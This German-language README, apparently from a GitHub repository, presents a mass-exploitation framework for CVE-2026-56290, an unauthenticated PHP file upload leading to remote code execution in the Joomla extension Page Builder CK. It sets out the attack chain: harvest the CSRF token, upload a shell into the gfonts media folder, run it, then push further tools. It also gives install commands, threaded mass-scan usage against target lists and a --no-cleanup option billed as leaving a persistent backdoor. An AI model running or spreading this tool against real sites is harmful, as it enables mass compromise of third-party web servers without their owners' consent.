
📤 Massen-Exploitation-Framework für CVE-2026-56290 — Page Builder CK Joomla unauthentifizierter Datei-Upload zu RCE
CVE-2026-56290 ist eine kritische Schwachstelle in Page Builder CK (com_pagebuilderck), einer beliebten Joomla-Seitenbauerweiterung. Die Controller-Methode browse.ajaxAddPicture akzeptiert nicht authentifizierte Datei-Uploads mit einem benutzergesteuerten Zielpfad, sodass Angreifer beliebige PHP-Dateien in webzugängliche Verzeichnisse schreiben können.
// browse.php controller — KEINE Authentifizierungsprüfung
function ajaxAddPicture() {
$input = JFactory::getApplication()->input;
$file = $input->files->get('file', null); // ← benutzergesteuerte Datei
$path = trim($input->get('path', '')); // ← benutzergesteuerter Pfad, nur trim()!
// ... lädt Datei in $path hoch, ohne das Ziel zu validieren
}
Der Parameter path wird nur mit trim() bereinigt — keine Whitelist, keine Verzeichnisüberschreitungsprüfung, kein Authentifizierungsgate. Kombiniert mit einem CSRF-Token, der von jeder Joomla-Seite öffentlich abrufbar ist, können Angreifer ferngesteuert PHP-Shells in jedes beschreibbare Verzeichnis hochladen.
| Vektor | Schweregrad | Auswirkung |
|---|---|---|
| Unauthenticated File Upload | 9.8 (Kritisch) | Beliebige PHP-Codeausführung |
| CSRF-Token-Ernte | 5.3 (Mittel) | Ermöglicht die Upload-Kette |
| Informationsoffenlegung | 5.3 (Mittel) | Versions-Fingerprinting der Erweiterung |
1. AUFRUF Joomla-Startseite → Ernte CSRF-Token (hex32 + Wert "1")
2. POST Datei-Upload → task=browse.ajaxAddPicture&{token}=1
3. PHP-Shell landet in → media/com_pagebuilderck/gfonts/shell.php
4. GET Shell-URL → Code wird ausgeführt, RCE bestätigt
5. POST f=@file an Shell → Weitere Tools hochladen
6. GET ?cleanup=1 → Shell zerstört sich selbst
| Page Builder CK Version | Status | Anmerkungen |
|---|---|---|
| 3.1.1 und niedriger | 🔴 Angreifbar | Bestätigter unauthentifizierter Upload |
| 3.4.10 und niedriger | 🔴 Angreifbar | Erweiterter Bereich laut Analyse |
| 3.5.10 und niedriger | 🔴 Angreifbar | Einige gepatchte Varianten möglich |
| > 3.5.10 | 🟢 Möglicherweise gepatcht | Über Manifest XML prüfen |
Hinweis: Die Version wird aus der Joomla-Manifestdatei unter
/administrator/manifests/files/com_pagebuilderck.xmlerkannt. Wenn das Manifest nicht zugänglich ist, geht der Scanner standardmäßig davon aus, dass das Ziel potenziell angreifbar ist.
🔍 Aufklärung
|
💀 Ausnutzung
|
# Repository klonen
git clone https://github.com/shinthink/pbck-exploit.git
cd pbck-exploit
# Abhängigkeiten installieren
pip install -r requirements.txt
# Überprüfen
python cve_2026_56290.py --help
requests>=2.28.0
urllib3>=1.26.0
CVE-2026-56290 — PageBuilderCK Unauthenticated RCE | Massen-Exploit & Validator
-t, --target Einzelne Ziel-URL
-f, --file Datei mit Ziel-URLs (eine pro Zeile, # für Kommentare)
-o, --output Live-TXT-Ausgabedatei (Standard: cve-2026-56290_live.txt)
--json JSON-Berichtsdateipfad (Standard: cve-2026-56290_report.json)
--threads Gleichzeitige Arbeiter (Standard: 20)
--timeout Zeitüberschreitung für Anfragen in Sekunden (Standard: 15)
--no-cleanup Shells auf dem Ziel belassen (persistente Hintertür)
-v, --verbose Ausführliche Endpunkt-Entdeckungsausgabe
--known-endpoint Entdeckung überspringen: Aufgabe, Dateiparameter, Ordnerparameter
# Einzelnes Ziel
python cve_2026_56290.py -t https://ziel.com
# Massenscan aus Datei
python cve_2026_56290.py -f targets.txt
# Benutzerdefinierte Ausgabe + ausführlich
python cve_2026_56290.py -f targets.txt -o ergebnisse.txt -v
# Shells hinterlassen (persistente Hintertür)
python cve_2026_56290.py -t https://ziel.com --no-cleanup
# Entdeckung mit bekanntem Endpunkt überspringen
python cve_2026_56290.py -t https://ziel.com --known-endpoint "browse.ajaxAddPicture,file,path"
# targets.txt
ziel-eins.com
https://ziel-zwei.com/unterverzeichnis
192.168.10.100
# Kommentare und leere Zeilen werden ignoriert
$ python cve_2026_56290.py -f targets.txt -o live_ergebnisse.txt
────────────────────────────────────────────────────────────
CVE-2026-56290 | 5 Ziele | 20 Threads | Bereinigung=ja
Live TXT: live_ergebnisse.txt
2026-07-04 15:30:00
────────────────────────────────────────────────────────────